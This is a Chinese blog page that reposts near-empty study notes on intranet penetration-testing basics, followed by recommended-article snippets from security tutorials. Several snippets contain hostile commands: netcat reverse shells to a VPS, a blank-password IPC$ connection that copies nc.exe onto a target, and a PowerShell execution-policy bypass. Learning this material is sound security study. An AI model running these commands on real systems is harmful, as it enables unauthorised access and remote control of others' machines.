内网安全测试基础学习笔记

最新推荐文章于 2022-07-28 17:23:41 发布
最新推荐文章于 2022-07-28 17:23:41 发布
阅读量147 收藏 1
点赞数
原文链接：http://www.cnblogs.com/-zhong/p/11006101.html
版权

0X01内网渗透测试

一般的步骤

 0X02内网渗透的基础

 

内网概述

行政部的就加入行政组 技术组的

了解域

多个域的情况下面

 

 

 

转载于:https://www.cnblogs.com/-zhong/p/11006101.html

weixin_30692143
关注
2021-8-29《内网安全攻防》第一章内网基础知识
qq_45290991的博客
08-30 944
这是MS08067实验室的作品，我看的过程中做了一些笔记，算是复习+学习吧。 第一章、内网基础知识 工作组： 所有计算机对等，没有cs之分。相当于分小组，加入、创建工作组：右键“计算机”--->属性--->更改设置--->在“计算机名”的一栏中写入想好的名称，在“工作组”一栏中写入想要加入的工作组名称。退出工作组：同法改变工作组名称即可。 域：有安全边界的计算机集合。分为： 单域：一个域，一般一个域需要两个dc，因为一个dc坏了还能备份恢复回来 父域 域树，子域只能使用父..
网络安全学习笔记
总结沉淀
03-05 3000
跨站脚本攻击（XSS Cross Site Script）     一、定义：黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户游览网页时，控制用户游览器攻击的一种行为。     二、分类:     1.    反射性XSS:把用户输入的数据反射给游览器（诱使用户“点击”一个恶意的链接）如：  php echo $_GET["test"];?> 用户提交：ip?
安全测试学习笔记一(Cookie&Session)
08-02 1045
一，Session：含义：有始有终的一系列动作/消息1，  隐含了“面向连接” 和“保持状态”两种含义2，  一种用来在客户端与服务器之间保持状态的解决方案3，  也指这种解决方案的存储结构“把××保存在session里”二， http 协议本来是无状态的，所以引进了cookie和session机制来保持连接状态cookie与session 机制之间的区别与联系：   
安全测试学习笔记
weixin_30763455的博客
10-18 143
我对于安全测试的知识仅限于以前上学时候学的信息安全，这方面完全是小白一个。 这篇博客记录我开始学习安全测试的一些内容 一、搭建实验环境 1、虚拟机windows server 2003 2、虚拟机kali Linux 2018.3 3、ophcrack （windows密码破解工具）下载需要的彩虹表配合使用 4、Pwdump （Windows hash密码获取工具） 二、开始我们的第...
安全测试学习笔记-安全测试面面观
卑微小厉的博客
05-04 544
五一期间学习了钉钉的网络课程-安全测试的相关课程，将自己学习的笔记整理分享给大家，既是分享也是对自己学习笔记的整理和复习，一石三鸟。 信息安全 机密性（confidentiality）：指只有授权用户可以获取信息。 完整性（integrity）：指信息在输入和传输的过程中，不被非法授权修改和破坏，保证数据的一致性。 可用性（availability）：指合法用户对信息和资源的使用不会被不正...
安全测试笔记
测试小胖的博客
09-29 926
安全测试是检查系统对非法侵入渗透的防范能力。 非法入侵的手段： 系统层：利用系统漏洞（包含系统中已经安装的软件的漏洞）进行入侵 应用层：利用对外提供服务的漏洞进行入侵 如何检测（发现）非法入侵： 非本次主要内容，略 如何防范非法入侵： 提高安全意识 规范操作行为 操作权限 软件安装 文件下载（传输） 站点访问 建立质量标准 接口权限 越权 认证 文件下载 代码审计 数据库等操作方式 接口权限的控制 定期巡查扫描
内网-内网安全攻防-笔记.pdf
09-18
一、内网渗透测试基础 1. PowerShell简介 PowerShell是微软推出的一个基于.NET框架的任务自动化和配置管理框架。在内网安全攻防中，PowerShell经常被用来执行命令和脚本，其强大的脚本功能使其在渗透测试中尤为关键...
网络安全学习的全栈笔记
最新发布
08-13
包含对下面的网络安全相关的所有的学习笔记,有如下所有的笔记信息:App渗透,Web安全基础,Windows&Linux权限提升,安全加固,内网渗透&横向移动,权限维持,渗透测试思路,渗透工具介绍与使用,应急响应,中间件漏洞
Web安全学习笔记 2021 中文PDF最新版
04-13
Web安全学习笔记是一个Web安全学习帮助参考文档，在学习Web安全的过程中，深切地感受到相关的知识浩如烟海，而且很大一部分知识点都相对零散，如果没有相对清晰的脉络作为参考，会给学习带来一些不必要的负担。...
局域网的安全攻防测试与分析
09-05
近年来，随着计算机在办公中的普及应用，局域网在办公中地位的日渐突出，针对局域网的攻击也日益增多。这类攻击有以病毒的形式进行传播和攻击，也有网络黑客的破坏和IP地址被盗用等各种形式，不论怎样，这都严重影响了计算机中数据的安全性。
内网渗透笔记，课堂资料
03-11
内网渗透是对内部网络进行安全测试和评估的过程，通常由安全专家执行，目的是发现并修复潜在的安全漏洞。在企业环境中，内网往往包含了敏感数据和关键业务系统，因此内网安全至关重要。这篇“内网渗透笔记，课堂资料...
WEB安全学习笔记
chenrs727的博客
12-02 1982
基础入门 1.基础入门——基础概念 域名 什么是域名 域名（英语：Domain Name），又称网域，是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称，用于在数据传输时对计算机的定位标识（有时也指地理位置） 由于IP地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点，人们设计出了域名，并通过网域名称系统（DNS，Domain Name System）来将域名和IP地址相互映射，使人更方便地访问互联网，而不用去记住能够被机器直接读取的IP地址数串。 比如www.bai
局域网内部安全测试--------利用弱密码控制远程计算机
fasd
05-05 2231
先扫描内部网段（网上扫描软件很多，我习惯用X-Scan），获得弱密码可以看到现在已经扫描出来许多弱密码，可以进一步控制首先和对方建立连接net use //10.1.12.84/ipc$ "" /user:"Administrator" 命令成功完成。这是和ip为10.1.12.84的计算机建立IPC连接copy nc.exe //10.1.12.84/admin$/system32,
内网安全-渗透测试指南（一）
qq_62098017的博客
09-21 277
⼀、内⽹渗透测试基础 Powershell 查看执⾏策略 Get-ExecutionPolicy 设置执⾏策略 Set-ExecutionPolicy [options] Restricted 脚本不能执⾏【默认设置】 RemoteSigned 本地脚本可以运⾏，远程脚本不能运⾏ AllSigned 受信任的签名脚本才能运⾏ Unrestricted 允...
内网安全-渗透测试指南（二）
qq_62098017的博客
09-22 232
Empire中的arpscan模块：usemodule situational_awareness/network/arpscan Nishang中的Invoke-ARPScan.ps1脚本 powershell.exe -exec bypass -Command"& {Import-Module c:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.1/24}" >> c:\log.txt 通过常规TC...
内网安全-渗透测试指南（三）
qq_62098017的博客
09-26 203
反向Shell VPS上执⾏：nc -lvvp 9999 ⽬标主机上执⾏：[Linux] nc VPS_ip 9999 -e /bin/sh [Windows] nc VPS_IP 9999 -e c:\windows\system32\cmd.exe ⽬标主机没有NC时获取反向Shell Python python -c 'import socket,subprocess,os;s=socket....
内网安全检测小结
04-17 124
　　最近一段时间，都在做内网服务器全网段的安全检测，也算积累了一些经验，在这边小结检测的流程和思路，也方便自己复习。 　　检测目的：尽可能的帮助客户发现服务器网段中可能面临的威胁、存在的安全弱点 　　检测条件：一个接入点，可以访问一个或多个服务器网段。 一、信息收集 首先，对服务器资产信息进行收集，了解哪些ip是存活的，存活的ip开放了哪些端口，以及端口所对应的服务。 使用工具...
内网安全检测技术yyds！你还不会吗？
weixin_43766412的博客
07-28 1736
内网安全检测技术yyds！你还不会吗？
内网安全攻防学习：从基础知识到工具应用
本文主要探讨了内网安全攻防的相关知识，特别是内网渗透测试的基础概念。在信息化时代，内网安全成为了企业网络安全的重要组成部分，因为内网通常包含公司的核心资产和敏感信息。通过了解内网的基本结构和管理机制，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值